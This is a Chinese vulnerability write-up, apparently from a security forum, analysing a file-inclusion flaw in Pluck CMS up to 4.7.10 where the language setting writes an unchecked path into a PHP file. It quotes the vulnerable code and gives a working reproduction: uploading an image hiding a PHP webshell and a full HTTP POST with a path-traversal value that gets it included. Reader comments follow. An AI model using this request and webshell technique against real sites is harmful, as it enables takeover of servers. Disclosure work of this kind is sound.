

0x01 漏洞描述

影响版本：Pluck CMS Pluck CMS <=4.7.10

官网地址：<http://www.pluck-cms.org/?file=home>

源码下载：<https://github.com/pluck-cms/pluck/releases>

0x02 漏洞分析

目前最新版本为4.7.10，个人测试github上最旧的4.7.2版本仍然存在该漏洞，框架本身语言选择模块数据注入导致的文件包含漏洞，官方更新版本并没有对这部分代码进行更新。《CMS 4.7.10远程代码执行漏洞分析》之余审计其他代码发现的，在此致谢。

v4.7.1分析

从入口文件admin.php查看：

```
145
146 //Page:Options:Language
147 case 'language':
148     $titelkop = $lang['language']['title'];
149     include_once ('data/inc/header.php');
150     include_once ('data/inc/language.php');
151     break;
152
```

查看language.php,满足指定的文件存在，并传入的cont1参数和原本设置的\$langpref参数不等，进入save_language(\$cont1)。

```
//Check if chosen language is valid, and then save data.
if (isset($_POST['save'], $cont1) && $cont1 != '0' && file_exists('data/inc/lang/'.$cont1) && $cont1 != $langpref) {
    save_language($cont1);

    //Redirect user.
    show_error($lang['language']['saved'], level: 3);
    redirect(url: '?action=options', time: 2);
    include_once ('data/inc/footer.php');
    exit;
}
```

调用save_file方法。

```
function save_language($language) {
    save_file(file: 'data/settings/langpref.php', array('langpref' => $language), chmod: FALSE);
}
```

由于只有一个数据，直接182写入php文件。

```

167 function save_file($file, $content, $chmod = 0777) {
168     $data = fopen($file, mode: 'w');
169
170     //If it's an array, we have to create the structure.
171     if (is_array($content) && !empty($content)) {
172         $final_content = '<?php' . "\n";
173         foreach ($content as $var => $value) {
174             $final_content .= '$' . $var . ' = \'' . $value . '\';' . "\n";
175         }
176         $final_content .= '?>';
177
178         fputs($data, $final_content);
179     }
180
181     else
182         fputs($data, $content);
183
184     fclose($data);
185     if ($chmod != FALSE)
186         chmod($file, $chmod);
187 }

```

至此，langpref的值变成可控值，这个值对应的文件，用于控制网站的语言选择，会自动被全局php文件包含。可以包含上传功能点上传的图种文件解析其中的一句话导致g

```

<?php
$langpref = '../.../images/wphp.jpg';
?>

```

0x03 漏洞复现

文件上传一个可以写一句话木马的php图种。

pluck



view site



开始



网页



模组



选项



管理图片

这里你可以上载你的图片，以供日后加入网页中。图片支援 JPG, PNG 和 GIF



浏览...

wphp.jpg



上传图片

已上载的图片

POST /pluck-4.7.10-dev1/admin.php?action=language HTTP/1.1
Host: 127.0.0.1:83
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.0)
Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1:83/pluck-4.7.10-dev1/admin.php?action=language
Cookie: LQUKaS_admin_username=admin;
Hm_lvt_f6f37dc3416ca514857b78d0b158037e=1570503836;
PHPSESSID=15le4b86vfuv1p9lnak8sskdp7
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 47

cont1=../../wphp.jpg&save=%E5%82%A8%E5%AD%A8

上述参数保存于php文件：
\\data\\settings\\langpref.php

```
<?php
$langpref = '../..../images/wphp.jpg';
?>
```

先知社区

先知社区

先知社区

[illegible]

The image shows a file explorer window with two panes. The left pane displays a directory tree starting from 'C:/' and 'D:/', with 'phpStudy' and 'WWW' folders expanded. The 'pluck-4.7.10-dev1' folder is selected, showing subfolders 'data', 'docs', 'files', and 'images'. The right pane, titled '文件列表 (12)', shows a detailed list of the contents of the selected folder. The list includes folders like 'data', 'docs', 'files', and 'images', and files like 'README.md', 'admin.php', 'index.php', 'info1.php', 'install.php', 'login.php', 'requirements.php', and 'robots.txt'. Each entry shows its name, date, size, and attributes.

名称	日期	大小	属性
data	2019-08-01 18:24:36	4 Kb	0777
docs	2019-08-01 18:24:36	0 b	0777
files	2019-08-01 18:24:36	0 b	0777
images	2019-10-11 18:49:21	0 b	0777
README.md	2019-08-01 18:24:36	1.75 Kb	0666
admin.php	2019-08-01 18:24:36	7.92 Kb	0666
index.php	2019-08-01 18:24:36	3.33 Kb	0666
info1.php	2019-10-11 18:52:25	56 b	0666
install.php	2019-08-01 18:24:36	7.47 Kb	0666
login.php	2019-08-01 18:24:36	3.74 Kb	0666
requirements.php	2019-08-01 18:24:36	3.77 Kb	0666
robots.txt	2019-08-01 18:24:36	47 b	0666

[上一篇：利用MsWord静默宏进行权限维持](#) [下一篇：vBulletin5.X前台RCE...](#)

0 回复Ta



[svenbeast](#) 2019-10-28 11:05:53

请问师傅知道这种cms，cnvd给证书吗，需要10个案例吗

0 回复Ta



[p0l4rB](#) 2019-11-01 09:49:02

[@adda****](#) 之前有事，今天才看到非常抱歉。

我测试了4.7.3，也是可以写入。如果是无法写入的话，猜测可能的问题是这个参数写入的条件是写入文件必须在是存在的（这个在上文中提到），我测试的数据包的那个

0 回复Ta

[登录](#) 后跟帖

先知社区

[现在登录](#)

热门节点

[技术文章](#)

[社区小黑板](#)

[目录](#)

[RSS](#) [关于社区](#) [友情链接](#) [社区小黑板](#)